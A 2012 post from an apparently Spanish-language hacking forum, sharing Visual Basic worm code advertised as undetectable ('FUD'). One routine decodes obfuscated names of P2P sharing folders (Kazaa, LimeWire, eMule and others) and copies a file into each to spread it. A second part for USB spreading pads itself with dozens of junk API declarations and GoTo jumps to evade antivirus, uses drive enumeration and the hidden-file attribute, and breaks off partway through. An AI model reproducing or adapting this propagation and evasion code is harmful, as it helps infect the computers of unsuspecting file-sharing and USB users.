comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

P2P spread Usb Spread[Fud]

  • 1 Respuestas
  • 2592 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Jefin_Silva

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • malws-zone
« en: Abril 28, 2012, 09:00:20 pm »
P2P spread

Código: Visual Basic
  1. Public Sub vndkcemqldbbacspsjuovbcujvmfevhdvfk(sFilename As String)
  2. GoTo pbeanlllngjmtjiplmitjavojsnkpunmhhta
  3. pbeanlllngjmtjiplmitjavojsnkpunmhhta:
  4. GoTo rerfnsnmjrqdsbdchoobcgqiuftv
  5. rerfnsnmjrqdsbdchoobcgqiuftv:
  6. GoTo lhussrunkneqjqstpeqhbvqdurafuto
  7. lhussrunkneqjqstpeqhbvqdurafuto:
  8. GoTo uhmtlsmodutqcbktikjopvijnrpfmug
  9. uhmtlsmodutqcbktikjopvijnrpfmug:
  10. On Error Resume Next
  11. GoTo ivddcfurulrqbdealrohabjabhmvevpfoodsd
  12. ivddcfurulrqbdealrohabjabhmvevpfoodsd:
  13.  
  14.  
  15.  
  16.  
  17. GoTo vkvebjireplkpagpkocamnfnqtpgkkjmvcfscbiklhscvo
  18. vkvebjireplkpagpkocamnfnqtpgkkjmvcfscbiklhscvo:
  19. GoTo iqhionglaampvktkugrgliqjslqsr
  20. iqhionglaampvktkugrgliqjslqsr:
  21. Dim sPath(10) As String
  22. GoTo nqrvjhtumpbeanlllngjmtjiplmitj
  23. nqrvjhtumpbeanlllngjmtjiplmitj:
  24. Dim sPDir As String
  25. GoTo ojsnkpunmhhtafrerfnsnmjrqdsbdchoobcgqiuftvilhussr
  26. ojsnkpunmhhtafrerfnsnmjrqdsbdchoobcgqiuftvilhussr:
  27. GoTo kneqjqstpeqhbvqdurafutoiuhmtlsmodutqcb
  28. kneqjqstpeqhbvqdurafutoiuhmtlsmodutqcb:
  29. GoTo tikjopvijnrpfmugpmivddcfurulrqbdea
  30. tikjopvijnrpfmugpmivddcfurulrqbdea:
  31. GoTo rohabjabhmvevpfoodsdtvkvebjireplkpa
  32. rohabjabhmvevpfoodsdtvkvebjireplkpa:
  33. GoTo vohiqhionglaampvktkugrgliqjsl
  34. vohiqhionglaampvktkugrgliqjsl:
  35. sPDir = Environ(jtsiaicepeigomajuqpuflu("pr7oagcrua$m~fSiql1eXs}"))
  36. GoTo rahnqrvjhtumpbeanlllngjmtjiplmitjavojsnkpunmh
  37. rahnqrvjhtumpbeanlllngjmtjiplmitjavojsnkpunmh:
  38. GoTo vilhussrunkneqjqstpeqhbvqduraf
  39. vilhussrunkneqjqstpeqhbvqduraf:
  40. GoTo toiuhmtlsmodutqcbktikjopvijnrpfmugpmivddcfurulr
  41. toiuhmtlsmodutqcbktikjopvijnrpfmugpmivddcfurulr:
  42.     sPath(0) = jtsiaicepeigomajuqpuflu("\rL^i7mHeIWFiOr3e%\3Smh†a…r@eGdL\<")
  43. GoTo sdtvkvebjireplkpagpkoc
  44. sdtvkvebjireplkpagpkoc:
  45. GoTo lhscvohiqhionglaampv
  46. lhscvohiqhionglaampv:
  47. GoTo tkugrgliqjslqsrahnqrvjhtumpbeanlll
  48. tkugrgliqjslqsrahnqrvjhtumpbeanlll:
  49. GoTo gjmtjiplmitjavojsnkpunmhhtafrerfnsnmj
  50. gjmtjiplmitjavojsnkpunmhhtafrerfnsnmj:
  51.     sPath(1) = jtsiaicepeigomajuqpuflu("\le&D{o]n:k>efy92B0\0p04\Ni6ncPo{mxiJn'gH\-")
  52. GoTo dsbdchoobcgqiuftvilhussrunkneqjqstpeqhbvq
  53. dsbdchoobcgqiuftvilhussrunkneqjqstpeqhbvq:
  54. GoTo urafutoiuhmtlsmodutqcbkt
  55. urafutoiuhmtlsmodutqcbkt:
  56. GoTo alrohabjabhmvevpfoodsdtvkvebjir
  57. alrohabjabhmvevpfoodsdtvkvebjir:
  58. GoTo scbiklhscvohiqhionglaampvk
  59. scbiklhscvohiqhionglaampvk:
  60.     sPath(2) = jtsiaicepeigomajuqpuflu("\5kga6zKa?ac\]m%yO ~sohga~r:eWd€ hf{oDl:dsevrQ\x")
  61. GoTo ugrgliqjslqsrahnqrvjhtumpbeanlllng
  62. ugrgliqjslqsrahnqrvjhtumpbeanlllng:
  63. GoTo mjrqdsbdchoobcgqiuftvilhussrunkne
  64. mjrqdsbdchoobcgqiuftvilhussrunkne:
  65. GoTo jqstpeqhbvqdurafutoiuhmtlsmodutqcbktikjop
  66. jqstpeqhbvqdurafutoiuhmtlsmodutqcbktikjop:
  67. GoTo ijnrpfmugpmivddcfurulrqbdealrohabjabhmvevpfoodsdt
  68. ijnrpfmugpmivddcfurulrqbdealrohabjabhmvevpfoodsdt:
  69.     sPath(3) = jtsiaicepeigomajuqpuflu("\‚k.a}zVahai eloi8tEeS\)mBy@ _sghla\r(eEd7 |fYo^l…dXear|\u")
  70. GoTo scbiklhscvohiqhionglaampvktkugrgl
  71. scbiklhscvohiqhionglaampvktkugrgl:
  72. GoTo qjslqsrahnqrvjhtumpbeanlllngjmt
  73. qjslqsrahnqrvjhtumpbeanlllngjmt:
  74. GoTo rqdsbdchoobcgqiuftvilhussrunkneq
  75. rqdsbdchoobcgqiuftvilhussrunkneq:
  76. GoTo ktikjopvijnrpfmugpmivddcfurulrqbd
  77. ktikjopvijnrpfmugpmivddcfurulrqbd:
  78.     sPath(4) = jtsiaicepeigomajuqpuflu("\Tkna;z;aoa€ 4lji,the2 Uk#+U+k\_m‚yb *snhƒa*r#e9dZ wf…o$l6ddeZr.\2")
  79. GoTo tvkvebjireplkpagpkoca
  80. tvkvebjireplkpagpkoca:
  81.     sPath(5) = jtsiaicepeigomajuqpuflu("\qg}r>oMk9svtmenrk\tmWyd rg.rbo`ksltqear-\e")
  82. GoTo fnqtpgkkjmvcfscbiklhscvohiqhionglaampv
  83. fnqtpgkkjmvcfscbiklhscvohiqhionglaampv:
  84. GoTo ngjmtjiplmitjavojsnkpunmhhtafrerfn
  85. ngjmtjiplmitjavojsnkpunmhhtafrerfn:
  86. GoTo nmjrqdsbdchoobcgqiuftvilhussrunkneqjqstpeqhb
  87. nmjrqdsbdchoobcgqiuftvilhussrunkneqjqstpeqhb:
  88.     sPath(6) = jtsiaicepeigomajuqpuflu("\<e8myucl'ex\fi�n1ctosm[i[n+g<\T")
  89. GoTo durafutoiuhmtlsmodutqcbktikjopvijnrpfmugpm
  90. durafutoiuhmtlsmodutqcbktikjopvijnrpfmugpm:
  91. GoTo oodsdtvkvebjireplkpagpkocamnfnq
  92. oodsdtvkvebjireplkpagpkocamnfnq:
  93. GoTo pgkkjmvcfscbiklhscvohiqhionglaampvktkugrgliqjs
  94. pgkkjmvcfscbiklhscvohiqhionglaampvktkugrgliqjs:
  95. GoTo qsrahnqrvjhtumpbeanlllngjmtjiplmitja
  96. qsrahnqrvjhtumpbeanlllngjmtjiplmitja:
  97.     sPath(7) = jtsiaicepeigomajuqpuflu("\&mLo$rRpth(euupsd\#m‚yI *s?hJaCrYezd| AfDoVlƒd_e3rR\,")
  98. GoTo tvilhussrunkneqjqstpeqhbvqdurafutoiuhmt
  99. tvilhussrunkneqjqstpeqhbvqdurafutoiuhmt:
  100. GoTo rulrqbdealrohabjabhmvevpfoodsdtvkve
  101. rulrqbdealrohabjabhmvevpfoodsdtvkve:
  102. GoTo mpvktkugrgliqjslqsrahn
  103. mpvktkugrgliqjslqsrahn:
  104. GoTo rvjhtumpbeanlllngjmtjiplmitjavojsnkpunmhhta
  105. rvjhtumpbeanlllngjmtjiplmitjavojsnkpunmhhta:
  106.     sPath(8) = jtsiaicepeigomajuqpuflu("\8g]rmoYk2s(t)e&r0\wmiyw Ng�reo„k's-t�eMr„\\")
  107. GoTo erfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqjqst
  108. erfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqjqst:
  109. GoTo eqhbvqdurafutoiuhmtlsmodutqcbktikjopvijnr
  110. eqhbvqdurafutoiuhmtlsmodutqcbktikjopvijnr:
  111.     sPath(9) = jtsiaicepeigomajuqpuflu("\=t5eƒsFl4a†\=fPi/l/ezs`\0")
  112. GoTo nglaampvktkugrgliqjslqsrahn
  113. nglaampvktkugrgliqjslqsrahn:
  114. GoTo frerfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqj
  115. frerfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqj:
  116. GoTo stpeqhbvqdurafutoiuhmtlsmodutqcbktikjopvij
  117. stpeqhbvqdurafutoiuhmtlsmodutqcbktikjopvij:
  118.     sPath(10) = jtsiaicepeigomajuqpuflu("\[wsi+nkm)xr\ysGh0a,r„eCd=\i")
  119. GoTo dtvkvebjireplkpagpkocamnfnqtpgkkjmvcfscbikl
  120. dtvkvebjireplkpagpkocamnfnqtpgkkjmvcfscbikl:
  121. GoTo lqsrahnqrvjhtumpbeanlllngjmtji
  122. lqsrahnqrvjhtumpbeanlllngjmtji:
  123. GoTo lmitjavojsnkpunmhhtafrerfnsnmjrqdsbdchoob
  124. lmitjavojsnkpunmhhtafrerfnsnmjrqdsbdchoob:
  125. GoTo pvktkugrgliqjslqsrahnqrvjhtu
  126. pvktkugrgliqjslqsrahnqrvjhtu:
  127.     For i = 0 To 10
  128. GoTo beanlllngjmtjiplmitjavojsnkpunmhhtafrerf
  129. beanlllngjmtjiplmitjavojsnkpunmhhtafrerf:
  130. GoTo jopvijnrpfmugpmivddcfurulrqbdealrohab
  131. jopvijnrpfmugpmivddcfurulrqbdealrohab:
  132. GoTo abhmvevpfoodsdtvkvebjireplkpagpko
  133. abhmvevpfoodsdtvkvebjireplkpagpko:
  134.         FileCopy sFilePath, sPDir & sPath(i) & sFilename
  135. GoTo bgigltdghlvsjkcemqld
  136. bgigltdghlvsjkcemqld:
  137.     Next
  138. GoTo acsvcjuufacujvmldvhdv
  139. acsvcjuufacujvmldvhdv:
  140. End Sub
  141. Public Function jtsiaicepeigomajuqpuflu(nposuenosaukrdltrneiihj As String) As String
  142. GoTo ccttimrhphrchcbvhfpinpnseenosgukr
  143. ccttimrhphrchcbvhfpinpnseenosgukr:
  144. GoTo ltbskiihjdadqfvghjfqgtmkgokgmqjj
  145. ltbskiihjdadqfvghjfqgtmkgokgmqjj:
  146. For adqvvgijfqatmfgoegmrdjeu = 1 To Len(nposuenosaukrdltrneiihj) Step 2
  147. GoTo jtciaicdojigomajuaudfluvdhfrcksectlppoqkhkbggno
  148. jtciaicdojigomajuaudfluvdhfrcksectlppoqkhkbggno:
  149. jtsiaicepeigomajuqpuflu = jtsiaicepeigomajuqpuflu & Mid(nposuenosaukrdltrneiihj, adqvvgijfqatmfgoegmrdjeu, 1)
  150. GoTo bhetlmvlntbkqlfqedphpjkvlpnuthqebvems
  151. bhetlmvlntbkqlfqedphpjkvlpnuthqebvems:
  152. GoTo aeomcdrdfjesaavblorinnuvati
  153. aeomcdrdfjesaavblorinnuvati:
  154. GoTo lestgsuedrbmmbfkaiakrgsaufuibgigltdghlv
  155. lestgsuedrbmmbfkaiakrgsaufuibgigltdghlv:
  156. Next
  157. GoTo kcemqldbbacsvcjuufacujvmldvhdvfk
  158. kcemqldbbacsvcjuufacujvmldvhdvfk:
  159. GoTo eenosgukriltbskiihjdadq
  160. eenosgukriltbskiihjdadq:
  161. GoTo vghjfqgtmkgokgmqjjeujtciaic
  162. vghjfqgtmkgokgmqjjeujtciaic:
  163. GoTo tlppoqkhkbggnoqmbhetlmvln
  164. tlppoqkhkbggnoqmbhetlmvln:
  165. End Function
  166.  



Usb Spread


Código: Visual Basic
  1. Private Declare Function qnqhmmtvashnkdstfrtdiqarl Lib "gdi32" Alias "qnqhmmtvashnkdstfrtdiqarlA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
  2. Private Declare Function sgpegfjlrefjnlbiqckiervvu Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
  3. Private Declare Function dsrmuqmsbppkeqdiogoikvqom Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
  4. Private Declare Function meqbprdhcqoonpjgjalfmopla Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  5. Private Declare Function dosbnanbjojifnlvotvudkktu Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
  6. Private Declare Function gicfipeelhiepfsrkfnjflqii Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
  7. Private Declare Function emeohmonsdjmnrfdpqiksarjh Lib "gdi32" (ByVal hdc As Long) As Long
  8. Private Declare Function ourkdemcekjbhsshlqgpgqcnc Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
  9. Private Declare Function gkusijbjmpkcggfhrubottefh Lib "gdi32" (ByVal hdc As Long) As Long
  10. Private Declare Function kfvluukcjdfqfkhpobalhglsc Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
  11. Private Declare Function ndgmckbltctspbajchkinuuii Lib "gdi32" (ByVal hdc As Long) As Long
  12. Private Declare Function apcsadbgntbbfpndesvhkgtrr Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
  13. Private Declare Function ifvnobnputmrggsvfrdqembmr Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
  14. Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
  15. Private Declare Function rcsujedaihqeoqpuvfoptbvls Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long, ByVal fnMode As Long) As Long
  16. Private Declare Function qgiosfkfvluukcjdfqfkhpobl Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long
  17. Private Declare Function esvhkgtrrrtmpsdpovrspdpgg Lib "gdi32" (ByVal hdc As Long, ByVal nEscape As Long, ByVal cbInput As Long, ByVal lpszInData As String, ByVal cbOutput As Long, ByVal lpszOutData As String) As Long
  18. Private Declare Function poblvsqvgmvquigstluadvmqq Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
  19. Private Declare Function fpndesvhkgtrrrtmpsdpovrsp Lib "gdi32" (ByVal hdc As Long) As Long
  20. Private Declare Function pbajchkinuuiimaofldgornec Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
  21. Private Declare Function mqqqsfilcihoqrncifvnobnpu Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
  22. Private Declare Function tbbfpndesvhkgtrrrtmpsdpov Lib "gdi32" (ByVal hdc As Long) As Long
  23. Private Declare Function ctspbajchkinuuiimaofldgor Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
  24. Private Declare Function advmqqqsfilcihoqrncifvnob Lib "gdi32" (ByVal hdc As Long) As Long
  25. Private Declare Function bgntbbfpndesvhkgtrrrtmpsd Lib "gdi32" (ByVal hdc As Long) As Long
  26. Private Declare Function vnobnputmrggsvfrdqembmroa Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long
  27. Private Declare Function csadbgntbbfpndesvhkgtrrrt Lib "gdi32" (ByVal hdc As Long) As Long
  28. Private Declare Function gmckbltctspbajchkinuuiima Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
  29. Private Declare Function fdpqiksarjhhgicfipeelhiep Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
  30. Private Declare Function shlqgpgqcncgemeohmonsdjmn Lib "winmm.dll" Alias "shlqgpgqcncgemeohmonsdjmnA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
  31. Private Declare Function fhrubottefhdourkdemcekjbh Lib "gdi32" (ByVal cbBuffer As Long, lpData As Byte) As Long
  32. Private Declare Function tfdnalhglsclgkusijbjmpkcg Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
  33. Private Declare Function hnkdstfrtdiqarlakjvnvprgr Lib "MAPI32.DLL" (ByVal UIParam&, ByVal DelimStr$, ByVal FilePaths$, ByVal FileNames$, ByVal Reserved&) As Long
  34. Private Declare Function fjnlbiqckiervvuaqnqhmmtva Lib "gdi32" (ByVal hdc As Long) As Long
  35. Private Declare Function pkeqdiogoikvqomusgpegfjlr Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
  36. Private Declare Function oonpjgjalfmoplamdsrmuqmsb Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
  37. Private Declare Function jifnlvotvudkktucmeqbprdhc Lib "gdi32" (ByVal hdc As Long) As Long
  38. Private Declare Function iepfsrkfnjflqiiddosbnanbj Lib "user32" (ByVal hwnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
  39. Private Declare Function jmnrfdpqiksarjhhgicfipeel Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
  40. Private Declare Function jbhsshlqgpgqcncgemeohmons Lib "gdi32" Alias "jbhsshlqgpgqcncgemeohmonsA" (ByVal lpFileName As String) As Long
  41. Private Declare Function kcggfhrubottefhdourkdemce Lib "gdi32" Alias "kcggfhrubottefhdourkdemceA" (ByVal hdc As Long, ByVal nCount As Long, ByVal lpFacename As String) As Long
  42. Private Declare Function rgrvtfdnalhglsclgkusijbjm Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
  43. Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
  44. Private Declare Function jvnvprgrvtfdnalhglsclgkus Lib "gdi32" (ByVal hdc As Long, ByVal eNewLimit As Double, peOldLimit As Double) As Long
  45. Private Declare Function jbjmpkcggfhrubottefhdourk Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long
  46. Private Declare Function emcekjbhsshlqgpgqcncgemeo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long
  47. Private Declare Function monsdjmnrfdpqiksarjhhgicf Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
  48. Private Declare Function peelhiepfsrkfnjflqiiddosb Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
  49. Private Declare Function anbjojifnlvotvudkktucmeqb Lib "gdi32" Alias "anbjojifnlvotvudkktucmeqbA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
  50. Private Declare Function rdhcqoonpjgjalfmoplamdsrm Lib "gdi32" Alias "rdhcqoonpjgjalfmoplamdsrmA" (ByVal lpFileName As String) As Long
  51. Private Declare Function qmsbppkeqdiogoikvqomusgpe Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
  52. Private Declare Function fjlrefjnlbiqckiervvuaqnqh Lib "winmm.dll" Alias "fjlrefjnlbiqckiervvuaqnqhA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
  53. Private Declare Function mtvashnkdstfrtdiqarlakjvn Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
  54. Private Declare Function eiskahvcknjauuuapmpgslsuv Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long
  55. Private Declare Function ojjvcitgthpupoltsfudfejqq Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
  56. Private Declare Function nnnpilovlkrnokvlcbqluqmra Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
  57. Private Declare Function inkslunsutcjpstbljvaordgc Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
  58. Private Declare Function njuebqjksjkqpinccorbmvmai Lib "gdi32" (ByVal hdc As Long, ByVal nnjuebqjksjkqpinccorbmvmai As Long, ByVal nCount As Long, ByVal lpInData As String, lpOutData As Any) As Long
  59. Private Declare Function irmqecophpsvrimmlobehuedk Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
  60. Private Declare Function obgbrhqqgufvbmbgdlktgrnmr Lib "gdi32" (ByVal hemf As Long) As Long
  61. Private Declare Function kbffehatantsdfgcntqjcdmce Lib "gdi32" (ByVal hdc As Long) As Long
  62. Private Declare Function qfavsedmvkmlqrbklptrhoair Lib "user32" (ByVal hwnd As Long, ByVal wBar As Long, ByVal bShow As Long) As Long
  63. Private Declare Function suvrgsjdbsfatchavqkajovnu Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
  64. Private Declare Function jqqdeiskahvcknjauuuapmpgs Lib "gdi32" (ByVal hdc As Long) As Long
  65. Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
  66. Private Declare Function rkfnjflqiiddosbnanbjojifn Lib "gdi32" (ByVal hdc As Long) As Long
  67. Private Declare Function votvudkktucmeqbprdhcqoonp Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
  68. Private Declare Function gjalfmoplamdsrmuqmsbppkeq Lib "gdi32" (ByVal hdc As Long, ByVal nStretchMode As Long) As Long
  69. Private Declare Function ovnuoqfavsedmvkmlqrbklptr Lib "gdi32" (ByVal hdc As Long, ByVal cbSize As Long, lpData As Byte) As Long
  70. Private Declare Function oairokbffehatantsdfgcntqj Lib "gdi32" (ByVal hdc As Long) As Long
  71. Private Declare Function dmcejobgbrhqqgufvbmbgdlkt Lib "gdi32" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long
  72. Private Declare Function rnmrcirmqecophpsvrimmlobe Lib "MAPI32.DLL" Alias "Brnmrcirmqecophpsvrimmlobe" (ByVal Session&, ByVal UIParam&, MsgType$, SeedMsgID$, ByVal Flag&, ByVal Reserved&, MsgID$) As Long
  73. Private Declare Function uedkmnjuebqjksjkqpinccorb Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
  74. Private Declare Function vmaitinkslunsutcjpstbljva Lib "gdi32" (ByVal hdc As Long, ByVal hMF As Long) As Long
  75. Private Declare Function rdgcpnnnpilovlkrnokvlcbql Lib "gdi32" (ByVal hemf As Long) As Long
  76. Private Declare Function qmrapojjvcitgthpupoltsfud Lib "gdi32" (ByVal hdc As Long) As Long
  77. Private Declare Function ccbdnqtkppabdvkqnguviuagf Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
  78. Private Declare Function nrpbvjshdcgouhcgqoeftfhlg Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
  79. Private Declare Function sodjgvopbnpvdmsnhsgfrjrlm Lib "gdi32" (ByVal hdc As Long, peLimit As Double) As Long
  80. Private Declare Function nabfjhtemugevnrrqsmjmdiip Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
  81. Private Declare Function tllgalvekckegqlkiqoclacaf Lib "gdi32" (ByVal hdcDest As Long, ByVal nXDest As Long, ByVal nYDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hdcSrc As Long, ByVal nXSrc As Long, ByVal nYSrc As Long, ByVal hbmMask As Long, ByVal xMask As Long, ByVal yMask As Long, ByVal dwRop As Long) As Long
  82. Private Declare Function umkkjlfcfshbijlhsivomiqmi Lib "gdi32" (ByVal hdc As Long) As Long
  83. Private Declare Function ekfdbjhrkprpuggpquiamtlnv Lib "gdi32" Alias "ekfdbjhrkprpuggpquiamtlnvA" (ByVal hdc As Long, ByVal iFirstChar As Long, ByVal iLastChar As Long, pxBuffer As Double) As Long
  84. Private Declare Function rnokvlcbqluqmrapojjvcitgt Lib "user32" (ByVal hwndLock As Long) As Long
  85. Private Declare Function cjpstbljvaordgcpnnnpilovl Lib "gdi32" (ByVal hdc As Long, ByVal nMapMode As Long) As Long
  86. Private Declare Function kqpinccorbmvmaitinkslunsu Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
  87. Private Declare Function svrimmlobehuedkmnjuebqjks Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
  88. Declare Function GetTickCount Lib "kernel32.dll" () As Long
  89. Private Declare Function sjdbsfatchavqkajovnuoqfav Lib "gdi32" Alias "sjdbsfatchavqkajovnuoqfavA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
  90. Private Declare Function edmvkmlqrbklptrhoairokbff Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
  91. Private Declare Function hatantsdfgcntqjcdmcejobgb Lib "gdi32" (ByVal hdc As Long) As Long
  92. Private Declare Function hqqgufvbmbgdlktgrnmrcirmq Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
  93. Private Declare Function cophpsvrimmlobehuedkmnjue Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
  94. Private Declare Function qjksjkqpinccorbmvmaitinks Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
  95. Private Declare Function unsutcjpstbljvaordgcpnnnp Lib "gdi32" (ByVal hdc As Long) As Long
  96. Private Declare Function lovlkrnokvlcbqluqmrapojjv Lib "gdi32" (ByVal hdc As Long) As Long
  97. Private Declare Function itgthpupoltsfudfejqqdeisk Lib "gdi32" (ByVal hdc As Long) As Long
  98. Private Declare Function hvcknjauuuapmpgslsuvrgsjd Lib "gdi32" (ByVal hdc As Long) As Long
  99. Private Declare Function sfatchavqkajovnuoqfavsedm Lib "gdi32" (ByVal hdc As Long) As Long
  100. Private Declare Function kmlqrbklptrhoairokbffehat Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwPitch As Long) As Long
  101. Private Declare Function ntsdfgcntqjcdmcejobgbrhqq Lib "gdi32" (ByVal hdc As Long) As Long
  102. Private Declare Function ufvbmbgdlktgrnmrcirmqecop Lib "gdi32" (ByVal hdc As Long) As Long
  103. Private Const FILE_ATTRIBUTE_HIDDEN = &H2
  104. Public Function ktplrvooidochnfnhitonlsr(ehoddkfgdnerqidmiekoh As String) As String
  105. GoTo ddptcoancjujoltmaptaudkruucmkbbpsehdqopo
  106. ddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
  107. GoTo knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae
  108. knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae:
  109. For bcnramulahmhgelkunrusbijssakcp = 1 To Len(ehoddkfgdnerqidmiekoh) Step 2
  110. GoTo krsffjtlciadlokbvavbroritnu
  111. krsffjtlciadlokbvavbroritnu:
  112. GoTo athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks
  113. athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks:
  114. ktplrvooidochnfnhitonlsr = ktplrvooidochnfnhitonlsr & Mid(ehoddkfgdnerqidmiekoh, bcnramulahmhgelkunrusbijssakcp, 1)
  115. GoTo cghgicvcpuufgheovsldendflpcictisrhv
  116. cghgicvcpuufgheovsldendflpcictisrhv:
  117. GoTo acnchemlvispnsdktnrfdqrirtbsj
  118. acnchemlvispnsdktnrfdqrirtbsj:
  119. GoTo onpdgjafflnolvgdsklukmsqjpddptcoancjuj
  120. onpdgjafflnolvgdsklukmsqjpddptcoancjuj:
  121. Next
  122. GoTo tmaptaudkruucmkbbpsehdqopoqknqbmmsop
  123. tmaptaudkruucmkbbpsehdqopoqknqbmmsop:
  124. GoTo anedrmvrntbqqkkaejvhujqvqpnuthaehfkr
  125. anedrmvrntbqqkkaejvhujqvqpnuthaehfkr:
  126. GoTo ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl
  127. ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl:
  128. End Function
  129. Public Sub gpvpkvjiumtnpepurdcmvjg()
  130. GoTo qvsjpbksqlcghgicvcpu
  131. qvsjpbksqlcghgicvcpu:
  132. GoTo fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq
  133. fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq:
  134. GoTo irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj
  135. irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj:
  136. On Error Resume Next
  137. GoTo oltmaptaudkruucmkbbpsehdqopoqknqb
  138. oltmaptaudkruucmkbbpsehdqopoqknqb:
